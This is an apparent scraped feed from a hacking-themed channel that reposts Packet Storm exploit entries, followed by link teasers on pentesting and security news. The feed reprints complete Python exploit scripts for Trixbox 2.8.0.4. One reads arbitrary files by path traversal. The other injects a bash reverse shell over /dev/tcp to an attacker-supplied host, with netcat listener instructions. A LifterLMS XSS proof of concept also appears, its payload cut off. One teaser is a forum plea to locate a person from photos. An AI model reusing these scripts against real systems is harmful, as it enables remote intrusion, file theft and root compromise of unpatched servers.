Exploit Collector
QNAP MusicStation / MalwareRemover File Upload / Command Injection

https://2.bp.blogspot.com/-NrOPg3Mty0U/WWlvlwk6sbI/AAAAAAAAIRI/oNtlpfQhQf0CXQthUyFzuVS3vq_pC_VnACLcBGAs/s1600/hack_img2.png
QNAP MusicStation and MalwareRemover are affected by arbitrary file upload and command injection vulnerabilities, leading to pre-authentication remote command execution with root privileges on the NAS.

MD5 | e0f4de64c7524a918a49796c1ab9986e

Download
QNAP MusicStation (5M+ installs) and MalwareRemover (pre-installed and
"non-removable") official apps are affected by an arbitrary file upload
and a command injection vulnerabilities, leading to pre-auth remote
command execution with root privileges on the NAS.

QNAP has already released updates with patches in April.

The technical details are available at
https://www.shielder.it/advisories/qnap-musicstation-malwareremover-pre-auth-remote-code-execution/

--
polict
Research team director @ Shielder Srl
polict@shielder.it

Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
WordPress LifterLMS 4.21.0 Cross Site Scripting

https://4.bp.blogspot.com/-xhbT4GX8v9w/WWlvF89jtmI/AAAAAAAAILM/fSSkvnm11QwzZu21RJEqwX2S4icQcxCngCLcBGAs/s1600/h136.png
WordPress LifterLMS plugin version 4.21.0 suffers from a persistent cross site scripting vulnerability.

MD5 | c047b79bb03f1a1f0db714247c79a29b

Download
# Exploit Title: WordPress Plugin LifterLMS 4.21.0 - Stored Cross-Site Scripting (XSS)
# Date: 2021-05-10
# Exploit Author: Captain_hook
# Vendor Homepage: https://lifterlms.com/
# Software Link: https://github.com/gocodebox/lifterlms/releases/tag/4.21.0
# Version: LifterLMS < 4.21.1
# Tested on: ANY
# CVE : CVE-2021-24308

#Summary:

The 'State' field of the Edit profile page of the LMS by LifterLMS – Online Course, Membership & Learning Management System Plugin for WordPress plugin before 4.21.1 is not properly sanitised when output in the About section of the profile page, leading to a stored Cross-Site Scripting issue. This could allow low privilege users (such as students) to elevate their privilege via an XSS attack when an admin will view their profile.

#Proof_of_Concept:

1- As a Lowest Privilege user go to the edit account page of the LMS
(e.g https://example.com/my-courses/edit-account/)

2- Put Your XSS payload in State parameter and save your edits, such
as ">

3- The XSS will be stored and triggered in the about section of the profile: (e.g https://example.com/directory/[user_name]/) (Note): The XSS will also be triggered in the admin dashboard when viewing the user details, for example https://example.com/wp-admin/admin.php?page=llms-reporting&tab=students&stab=information&student_id=2

Refernces:

https://github.com/gocodebox/lifterlms/releases/tag/4.21.0

Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
Trixbox 2.8.0.4 Path Traversal

https://1.bp.blogspot.com/-jW_VWiRlkJ4/WWlvh6QcNII/AAAAAAAAIQg/x12g-flM0hAb9z-fRCiW9Z3UAYaaFuf7ACLcBGAs/s1600/h9.png
Trixbox version 2.8.0.4 has path traversal via the xajaxargs array parameter to /maint/index.php?packages or the lang parameter to /maint/modules/home/index.php.

MD5 | ebe53272a318e753d01ffa4b44a12413

Download
# Exploit Title: Trixbox 2.8.0.4 - 'lang' Path Traversal
# Date: 27.05.2021
# Exploit Author: Ron Jost (Hacker5preme)
# Credits to: https://secur1tyadvisory.wordpress.com/2018/02/13/trixbox-multiple-path-traversal-vulnerabilities-cve-2017-14537/
# Credits to: Sachin Wagh
# Vendor Homepage: https://sourceforge.net/projects/asteriskathome/
# Software Link: https://sourceforge.net/projects/asteriskathome/files/trixbox%20CE/trixbox%202.8/trixbox-2.8.0.4.iso/download
# Version: 2.8.0.4
# Tested on: Xubuntu 20.04
# CVE: CVE-2017-14537

'''
Description:
trixbox 2.8.0.4 has path traversal via the xajaxargs array parameter to /maint/index.php?packages or the
lang parameter to /maint/modules/home/index.php.
'''
'''
Import required modules:
'''
import requests
import sys
import urllib.parse
'''
User-Input:
'''
target_ip = sys.argv[1]
target_port = sys.argv[2]
'''
Construct malicious request:
'''
# Constructing header:
header = {
'Host': target_ip,
'User-Agent': 'User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:88.0) Gecko/20100101 Firefox/88.0',
'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8',
'Accept-Language': 'de,en-US;q=0.7,en;q=0.3',
'Accept-Encoding': 'gzip, deflate',
'Connection': 'keep-alive',
'Cookie': 'template=classic; lng=en; lng=en',
'Upgrade-Insecure-Requests': '1',
'Authorization': 'Basic bWFpbnQ6cGFzc3dvcmQ=',
}

# Constructing malicious link (payload):
base_link = 'http://' + target_ip + ':' + target_port
base_link_addon_1 = '/maint/modules/home/index.php?lang=..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..'
base_link_addon_3 = '%00english'
print('')
base_link_addon_2 = input('Input the filepath or input EXIT: ')
'''
EXPLOIT:
'''
while base_link_addon_2 != 'EXIT':
base_link_addon_2_coded = urllib.parse.quote(base_link_addon_2, safe='')
exploit_link = base_link + base_link_addon_1 + base_link_addon_2_coded + base_link_addon_3
print('')
exploit = requests.post(exploit_link, headers=header)
print('Contents of ' + base_link_addon_2 + ':')
for data in exploit.iter_lines():
data = data.decode('utf-8')
if data != '':
print(data)
else:
break
print('')
base_link_addon_2 = input('Input the filepath or input EXIT: ')


Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
Trixbox 2.8.0.4 Remote Code Execution

https://1.bp.blogspot.com/-jW_VWiRlkJ4/WWlvh6QcNII/AAAAAAAAIQg/x12g-flM0hAb9z-fRCiW9Z3UAYaaFuf7ACLcBGAs/s1600/h9.png
Trixbox version 2.8.0.4 has an OS command injection vulnerability that can be leveraged via shell metacharacters in the lang parameter to /maint/modules/home/index.php.

MD5 | b20a34f5709b4607d3383fa6db1f537f

Download
# Exploit Title: Trixbox 2.8.0.4 - 'lang' Remote Code Execution (Unauthenticated)
# Date: 27.05.2021
# Exploit Author: Ron Jost (Hacker5preme)
# Credits to: https://secur1tyadvisory.wordpress.com/2018/02/11/trixbox-os-command-injection-vulnerability-cve-2017-14535/
# Credits to: Sachin Wagh
# Vendor Homepage: https://sourceforge.net/projects/asteriskathome/
# Software Link: https://sourceforge.net/projects/asteriskathome/files/trixbox%20CE/trixbox%202.8/trixbox-2.8.0.4.iso/download
# Version: 2.8.0.4
# Tested on: Xubuntu 20.04
# CVE: CVE-2017-14535

'''
Description:
trixbox 2.8.0.4 has OS command injection via shell metacharacters in the lang parameter to /maint/modules/home/index.php
'''
'''
Import required modules:
'''
import requests
import sys
import time
'''
User-input:
'''
target_ip = sys.argv[1]
target_port = sys.argv[2]
listen_ip = sys.argv[3]
listen_port = sys.argv[4]
'''
Construct malicious request:
'''
# Construct header:
header = {
'Host': target_ip,
'User-Agent': 'User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:88.0) Gecko/20100101 Firefox/88.0',
'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8',
'Accept-Language': 'de,en-US;q=0.7,en;q=0.3',
'Accept-Encoding': 'gzip, deflate',
'Authorization': 'Basic bWFpbnQ6cGFzc3dvcmQ=',
'Connection': 'close',
'Upgrade-Insecure-Requests': '1',
'Cache-Control': 'max-age=0'
}

# Construct malicious link:
link_p1 = 'http://' + target_ip + ':' + target_port + '/maint/modules/home/index.php?lang=english|bash%20-i%20%3E%26%20'
link_p2 = '%2Fdev%2Ftcp%2F' + listen_ip + '%2F' + listen_port + '%200%3E%261||x'
link = link_p1 + link_p2
'''
Finish: EXPLOIT!!!
'''
print('')
print('')
print('Please start the following command in a seperate terminal: nc -lnvp ' + listen_port)
print('')
time.sleep(2)
Ready = input("If you're done and want to start the exploit please input EXPLOIT: ")
if Ready == 'EXPLOIT':
print('')
print('Exploit sent, check your Netcat instance :)')
x = requests.post(link, headers=header)
else:
print('TRY AGAIN')


Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Dark Reading: Attacks/Breaches
SolarWinds Attackers Impersonate USAID in Advanced Email Campaign

Microsoft shares the details of a wide-scale malicious email campaign attributed to Nobelium, the group linked to the SolarWinds supply chain attack.

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
AD Lab: External Pentesting

https://cdn-images-1.medium.com/max/1245/1*AeJ1s4WI0kTRa58mcEybLw.png
Learn about Active Directory penetration testing enumeration and exploitation using tools like Impacket, Kerbrute, and CrackMapExec…

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
Abuse Service Registry ACLs —  Windows PrivEsc

https://cdn-images-1.medium.com/max/1650/1*EWeCPiZni3TcgcBoF_LINA.jpeg
Continue reading on R3d Buck3T »

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
Learning Path for Cyber Security

https://cdn-images-1.medium.com/max/600/1*Uf9aktks1t7XfcRN1D5txQ.jpeg
How to Gain Practical Cybersecurity Experience

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
Great things about ISO 27001 Certification

https://cdn-images-1.medium.com/max/2560/1*Zb3dTYDy4E0chtOLeBKGLA.png
What exactly is an ISMS?

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
Comprehensive information gathering with Maltego

https://cdn-images-1.medium.com/max/600/1*jYCz9EsuEFn-U_Qj45tYFg.png
Maltego is an intelligent information mining tool that renders coordinated charts for connection analysis. The device is used in online…

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
Gizliliyin qorunması (IP və Mac adres dəyişmə)

https://cdn-images-1.medium.com/max/600/1*uNstRI3EGQERb0ALbJpxLA.jpeg
Bir hücuma keçmədən əvvəl təməl olaraq gizliliyin qorunması üçün bir sıra dəyişikliklər etmək lazımdır.

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

Deep Web
Help me find a person

I've got a few pics of him and I know the name. Nothing else. I can't find him.

submitted by /u/disisbeyondscience
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

My First HOF(Hall of Fame)

Hello everyone, I am Rishabh Singh, today I want to tell you how I started and how I got my first HOF.Continue reading on Medium »
Read more...

My First HOF(Hall of Fame)
https://rsbarsania.medium.com/my-first-hof-hall-of-fame-f93e16b19b4?source=rss------bug_bounty-5

___________________________
@hacking_Attack
@Hacking_Video